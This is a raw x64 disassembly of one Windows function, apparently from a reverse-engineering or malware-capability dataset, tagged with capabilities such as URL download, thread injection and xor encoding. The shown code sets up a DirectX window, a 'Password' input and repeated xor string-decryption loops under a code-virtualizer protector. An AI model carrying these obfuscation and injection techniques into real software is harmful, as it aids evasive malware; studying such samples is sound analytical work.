Function at 0x140053160
Capabilities:
Check internet connectivity via wininet
Create directory
Create thread
Delete file
Download url
Encode data using xor
Get disk information
Inject thread
Receive data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov eax, 0x4020
call fcn.1400689b0
sub rsp, rax
movaps xmmword [rsp + 0x4010], xmm6
movaps xmmword [rsp + 0x4000], xmm7
movaps xmmword [rsp + 0x3ff0], xmm8
movaps xmmword [rsp + 0x3fe0], xmm9
movaps xmmword [rsp + 0x3fd0], xmm10
movaps xmmword [rsp + 0x3fc0], xmm11
movaps xmmword [rsp + 0x3fb0], xmm12
movaps xmmword [rsp + 0x3fa0], xmm13
movaps xmmword [rsp + 0x3f90], xmm14
movaps xmmword [rsp + 0x3f80], xmm15
lea rbp, [rsp + 0x80]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140083040]
xor rax, rsp
mov qword [rbp + 0x3ef8], rax
xor r8d, r8d
lea rcx, [0x140051c60]
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthread]
xor r8d, r8d
lea rcx, [fcn.140051b50]
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthread]
lea rax, [0x140063820]
mov dword [rbp + 0x3970], 0x50
xor r15d, r15d
mov qword [rbp + 0x3978], rax
xor ecx, ecx
mov dword [rbp + 0x3974], 0x40
mov qword [rbp + 0x3980], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xorps xmm0, xmm0
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x10]
mov qword [rbp + 0x3988], rax
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3990], xmm0
movdqu xmmword [rbp + 0x39a0], xmm1
call fcn.140062c80
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14005329c
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor cl, 0x36
mov byte [rax + 4], cl
lea rcx, [rbp + 0x3970]
mov qword [rbp + 0x39b0], rax
mov qword [rbp + 0x39b8], r15
call qword [sym.imp.USER32.dll_RegisterClassExA]
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x11]
call fcn.140062c80
mov r8, rax
movzx eax, byte [rax + 4]
test al, al
je 0x1400532eb
xor byte [r8], 0x32
xor byte [r8 + 1], 0x33
xor byte [r8 + 2], 0x34
xor byte [r8 + 3], 0x35
xor al, 0x36
mov byte [r8 + 4], al
mov rax, qword [rbp + 0x3988]
mov r9d, 0x80000000
mov rdx, qword [rbp + 0x39b0]
xor ecx, ecx
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x38], 5
mov dword [rsp + 0x30], 5
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rcx, rax
mov qword [0x140086da8], rax
call fcn.140050860
test al, al
jne 0x14005336b
call fcn.140050940
mov rdx, qword [rbp + 0x3988]
mov rcx, qword [rbp + 0x39b0]
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov eax, 1
jmp 0x14005d61f
mov rcx, qword [0x140086da8]
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x140086da8]
call qword [sym.imp.USER32.dll_UpdateWindow]
xor ecx, ecx
call fcn.140005ed0
call fcn.1400060c0
mov rdi, rax
mov qword [rbp + 0x220], rax
mov qword [rax + 0x18], r15
or dword [rax], 0x400
call fcn.1400032a0
test dword [rdi], 0x400
mov r12, rax
mov qword [rbp + 0x228], rax
je 0x1400533cc
mov dword [rax + 0xc], r15d
mov dword [rax + 0xf0], 0x3f800000
mov rcx, qword [0x140086da8]
call fcn.14003e8a0
mov rcx, qword [0x140086d90]
call fcn.14003dda0
mov rcx, qword [0x140086d90]
lea r9, [rbp + 0x3950]
mov r8d, 0x142e
mov qword [rbp + 0x3950], r15
lea rdx, [0x140083a30]
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemory]
mov rcx, qword [0x140086d90]
lea r9, [rbp + 0x3958]
mov r8d, 0x124b
mov qword [rbp + 0x3958], r15
lea rdx, [0x140084e60]
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemory]
mov rcx, qword [0x140086d90]
lea r9, [rbp + 0x3960]
mov r8d, 0x96a
mov qword [rbp + 0x3960], r15
lea rdx, [0x1400830c0]
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemory]
mov rbx, qword [rdi + 0xa0]
lea rdx, [rbp + 0x1128]
lea rcx, [rbp + 0x12]
call fcn.140062ca0
mov r13d, dword [reloc.VirtualizerSDK64.dll_Ordinal_1]
mov r10, rax
movdqa xmm8, xmmword [0x1400787a0]
movdqa xmm11, xmmword [0x1400787b0]
movdqa xmm9, xmmword [0x140078790]
movdqa xmm6, xmmword [0x140078a80]
movdqa xmm7, xmmword [0x140078770]
cmp byte [rax + 0x1c], r15b
je 0x140053601
mov r8d, r15d
cmp r13d, 2
jl 0x1400535bd
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x1400534d0
cmp r8d, 0x1d
jge 0x140053601
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x1d
jl 0x1400535d0
movss xmm2, dword [0x1400785ac]
xor r9d, r9d
mov rdx, r10
mov qword [rsp + 0x20], r15
mov rcx, rbx
call fcn.1400378c0
mov rbx, qword [rdi + 0xa0]
lea rdx, [rbp + 0x1168]
lea rcx, [rbp + 0x13]
mov qword [0x140086d80], rax
call fcn.140062cd0
mov r10, rax
cmp byte [rax + 0x1d], r15b
je 0x140053791
mov r8d, r15d
cmp r13d, 2
jl 0x14005374d
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x140053660
cmp r8d, 0x1e
jge 0x140053791
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x140053760
movss xmm2, dword [0x1400785b4]
xor r9d, r9d
mov rdx, r10
mov qword [rsp + 0x20], r15
mov rcx, rbx
call fcn.1400378c0
mov rbx, qword [rdi + 0xa0]
lea rdx, [rbp + 0x1108]
lea rcx, [rbp + 0x14]
mov qword [0x140086d30], rax
call fcn.140062ca0
mov r10, rax
cmp byte [rax + 0x1c], r15b
je 0x140053921
mov r8d, r15d
cmp r13d, 2
jl 0x1400538dd
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x1400537f0
cmp r8d, 0x1d
jge 0x140053921
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x1d
jl 0x1400538f0
movss xmm10, dword [0x1400785b0]
xor r9d, r9d
movaps xmm2, xmm10
mov qword [rsp + 0x20], r15
mov rdx, r10
mov rcx, rbx
call fcn.1400378c0
mov rbx, qword [rdi + 0xa0]
lea rdx, [rbp + 0x10e8]
lea rcx, [rbp + 0x15]
mov qword [0x140086d38], rax
call fcn.140062ca0
mov r10, rax
cmp byte [rax + 0x1c], r15b
je 0x140053ac1
mov r8d, r15d
cmp r13d, 2
jl 0x140053a7d
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x140053990
cmp r8d, 0x1d
jge 0x140053ac1
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x1d
jl 0x140053a90
xor r9d, r9d
mov qword [rsp + 0x20], r15
movaps xmm2, xmm10
mov rdx, r10
mov rcx, rbx
call fcn.1400378c0
mov rbx, qword [rdi + 0xa0]
lea rdx, [rbp + 0x10c8]
lea rcx, [rbp + 0x16]
mov qword [0x140086d98], rax
call fcn.140062ca0
mov r10, rax
cmp byte [rax + 0x1c], r15b
je 0x140053c51
mov r8d, r15d
cmp r13d, 2
jl 0x140053c0d
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x140053b20
cmp r8d, 0x1d
jge 0x140053c51
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x1d
jl 0x140053c20
movss xmm2, dword [0x1400785b8]
xor r9d, r9d
mov rdx, r10
mov qword [rsp + 0x20], r15
mov rcx, rbx
call fcn.1400378c0
mov rbx, qword [rdi + 0xa0]
lea rdx, [rbp + 0x10a8]
lea rcx, [rbp + 0x17]
mov qword [0x140086d88], rax
call fcn.140062ca0
mov r10, rax
cmp byte [rax + 0x1c], r15b
je 0x140053de1
mov r8d, r15d
cmp r13d, 2
jl 0x140053d9d
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x140053cb0
cmp r8d, 0x1d
jge 0x140053de1
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x1d
jl 0x140053db0
movss xmm2, dword [0x1400785bc]
xor r9d, r9d
mov rdx, r10
mov qword [rsp + 0x20], r15
mov rcx, rbx
call fcn.1400378c0
mov rbx, qword [rdi + 0xa0]
lea rdx, [rbp + 0x1148]
lea rcx, [rbp + 0x18]
call fcn.140062d00
mov r10, rax
cmp byte [rax + 0x1d], r15b
je 0x140053f71
mov r8d, r15d
cmp r13d, 2
jl 0x140053f2d
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x140053e40
cmp r8d, 0x1e
jge 0x140053f71
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x140053f40
movss xmm2, dword [0x1400785a8]
xor r9d, r9d
mov rdx, r10
mov qword [rsp + 0x20], r15
mov rcx, rbx
call fcn.1400378c0
mov edx, 0x1f
mov qword [0x140086db0], rax
mov r9d, edx
mov dword [rsp + 0x20], 0xff
mov r8d, edx
lea rcx, [rbp + 0x8a0]
call fcn.1400427e0
lea rdx, [rbp + 0x8b0]
mov rcx, rax
call fcn.14002b020
mov edx, 0x1f
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x8c0]
mov r8d, edx
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0x214], xmm0
call fcn.1400427e0
lea rdx, [rbp + 0x8d0]
mov rcx, rax
call fcn.14002b020
mov edx, 0x1d
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x8e0]
mov r8d, edx
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0x224], xmm0
call fcn.1400427e0
lea rdx, [rbp + 0x8f0]
mov rcx, rax
call fcn.14002b020
mov edx, 0x22
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x900]
mov r8d, edx
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0x234], xmm0
call fcn.1400427e0
lea rdx, [rbp + 0x910]
mov rcx, rax
call fcn.14002b020
xor r9d, r9d
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x920]
xor edx, edx
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0x3d4], xmm0
call fcn.1400427e0
lea rdx, [rbp + 0x930]
mov rcx, rax
call fcn.14002b020
xor r9d, r9d
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x940]
xor edx, edx
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0xe4], xmm0
call fcn.1400427e0
lea rdx, [rbp + 0x950]
mov rcx, rax
call fcn.14002b020
mov edx, 0x23
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x960]
mov r8d, edx
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0x114], xmm0
call fcn.1400427e0
lea rdx, [rbp + 0x970]
mov rcx, rax
call fcn.14002b020
xor r9d, r9d
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x980]
xor edx, edx
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0x134], xmm0
call fcn.1400427e0
lea rdx, [rbp + 0x990]
mov rcx, rax
call fcn.14002b020
lea rdx, [0x140051c80]
lea rcx, [rbp + 0x39c8]
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0xf4], xmm0
call fcn.140065670
movdqa xmm12, xmmword [0x140078780]
xorps xmm0, xmm0
movss xmm10, dword [0x140078548]
movabs rdi, 0xb8677ce38bc754d
movss xmm15, dword [0x140078644]
movabs rsi, 0xdd53966aa4d01be4
movss xmm14, dword [0x1400785fc]
movabs rbx, 0x8d6c8e85a0368a29
movups xmmword [rbp + 0x3c10], xmm0
movabs r14, 0xf6420c647fedc060
movups xmmword [rbp + 0x3c20], xmm0
movups xmmword [rbp + 0x3c30], xmm0
xorps xmm13, xmm13
nop word [rax + rax]
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rbp + 0x3c10]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140054220
lea rcx, [rbp + 0x3c10]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x3c10]
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x14005d5cd
cmp qword [0x140086dd8], r15
jne 0x140054240
cmp qword [0x140086de8], r15
je 0x140054240
call fcn.14003dec0
test al, al
je 0x140054240
call fcn.14003e7c0
call fcn.14003f190
call fcn.140007840
lea r8, [rbp + 0x248]
mov qword [rbp + 0x248], r15
mov edx, 2
mov dword [rbp + 0x250], 0x43fa0000
lea rcx, [rbp + 0x250]
mov dword [rbp + 0x254], 0x437f0000
call fcn.140012a60
cmp byte [reloc.VirtualizerSDK64.dll_Ordinal_1], r15b
je 0x1400546be
mov eax, dword [str._RGP6]
lea rcx, [rbp + 0x128]
mov dword [rbp + 0x128], eax
xor edx, edx
movzx eax, byte [0x140077c88]
mov r8d, 0xc003b
xor byte [rbp + 0x129], 0x33
xor al, 0x36
xor byte [rbp + 0x12a], 0x34
xor byte [rbp + 0x12b], 0x35
mov byte [rbp + 0x12c], al
mov byte [rbp + 0x128], 0x52
call fcn.14000e7c0
mov rcx, qword [0x140086d20]
lea rdx, [rbp + 0x258]
mov dword [rbp + 0x258], 0x43960000
xor r8d, r8d
mov dword [rbp + 0x25c], 0x43520000
mov rcx, qword [rcx + 0x1d18]
call fcn.140012950
lea rcx, [rbp + 0x260]
mov dword [rbp + 0x260], 0x40e00000
mov dword [rbp + 0x264], 0x41100000
call fcn.140013890
mov rcx, qword [rbp + 0x3950]
lea rax, [rbp + 0x9b0]
xorps xmm0, xmm0
mov qword [rsp + 0x28], rax
movups xmmword [rbp + 0x9b0], xmm0
lea rax, [rbp + 0x9c0]
mov dword [rbp + 0x268], 0x3f800000
movdqa xmm0, xmmword [0x140078a70]
lea r9, [rbp + 0x268]
lea r8, [rbp + 0x270]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x278]
mov dword [rbp + 0x26c], 0x3f800000
movups xmmword [rbp + 0x9c0], xmm0
mov qword [rbp + 0x270], r15
mov dword [rbp + 0x278], 0x438f0000
mov dword [rbp + 0x27c], 0x43420000
call fcn.140045500
mov rcx, qword [0x140086d98]
call fcn.140012400
lea rcx, [rbp + 0x280]
mov dword [rbp + 0x280], 0x42b00000
mov dword [rbp + 0x284], 0x42500000
call fcn.140013890
movzx ecx, word [0x140078280]
lea r8, [0x140086268]
movzx eax, byte [0x140078282]
lea rdx, [0x140086268]
movsd xmm0, qword [0x140078278]
xor al, 0x3c
movsd qword [rbp + 0x640], xmm0
mov r9d, 0x20
xor byte [rbp + 0x641], 0x33
xor byte [rbp + 0x642], 0x34
xor byte [rbp + 0x643], 0x35
xor byte [rbp + 0x644], 0x36
xor byte [rbp + 0x645], 0x37
xor byte [rbp + 0x646], 0x38
xor byte [rbp + 0x647], 0x39
mov word [rbp + 0x648], cx
xor cl, 0x3a
xor byte [rbp + 0x649], 0x3b
mov qword [rsp + 0x38], r15
mov byte [rbp + 0x64a], al
lea rax, [rbp + 0x288]
mov byte [rbp + 0x648], cl
lea rcx, [rbp + 0x640]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rax
mov byte [rbp + 0x640], 0x23
mov dword [rbp + 0x288], 0x42f60000
mov dword [rbp + 0x28c], 0x41980000
call fcn.140048bd0
lea rcx, [rbp + 0x290]
mov dword [rbp + 0x290], 0x42b00000
mov dword [rbp + 0x294], 0x42a20000
call fcn.140013890
movzx ecx, word [0x140078358]
lea r8, str.Password
movzx eax, byte [0x14007835a]
lea rdx, str.Password
movsd xmm0, qword [0x140078350]
xor al, 0x3c
movsd qword [rbp + 0x650], xmm0
mov r9d, 0x20
xor byte [rbp + 0x651], 0x33
xor byte [rbp + 0x652], 0x34
xor byte [rbp + 0x653], 0x35
xor byte [rbp + 0x654], 0x36
xor byte [rbp + 0x655], 0x37
xor byte [rbp + 0x656], 0x38
xor byte [rbp + 0x657], 0x39
mov word [rbp + 0x658], cx
xor cl, 0x3a
xor byte [rbp + 0x659], 0x3b
mov qword [rsp + 0x38], r15
mov byte [rbp + 0x65a], al
lea rax, [rbp + 0x298]
mov byte [rbp + 0x658], cl
lea rcx, [rbp + 0x650]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x8000
mov qword [rsp + 0x20], rax
mov byte [rbp + 0x650], 0x23
mov dword [rbp + 0x298], 0x42f60000
mov dword [rbp + 0x29c], 0x41980000
call fcn.140048bd0
